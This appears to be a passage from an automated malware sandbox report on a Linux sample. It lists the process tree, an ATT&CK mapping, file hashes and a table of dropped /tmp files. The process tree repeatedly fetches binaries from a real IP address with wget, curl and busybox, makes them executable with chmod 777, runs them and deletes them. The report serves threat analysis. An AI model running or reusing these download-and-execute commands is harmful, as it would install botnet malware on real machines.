- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:969
- /bin/chmod
  chmod 777 HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  ./HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:975
- /bin/chmod
  chmod 777 rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  ./rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:981
- /bin/chmod
  chmod 777 agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  ./agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:984
- /usr/bin/wget
  wget http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:987
- /bin/chmod
  chmod 777 XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  ./XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:990

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD

Path /tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD	748	cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
/tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka	755	5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
/tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk	761	cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
/tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU	775	yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
/tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj	798	mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
/tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn	822	0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
/tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h	830	iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
/tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR	839	tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
/tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE	858	X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
/tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0	875	lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
/tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW	887	HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
/tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7	893	rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
/tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz	899	agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
/tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw	905	XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
/tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD	911	cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
/tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka	917	5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
/tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk	923	cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
/tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU	929	yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
/tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj	935	mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
/tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn	941	0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
/tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h	947	iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
/tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR	953	tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
/tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE	959	X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
/tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0	965	lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
/tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW	971	HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
/tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7	977	rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
/tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz	983	agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
/tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw	989	XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw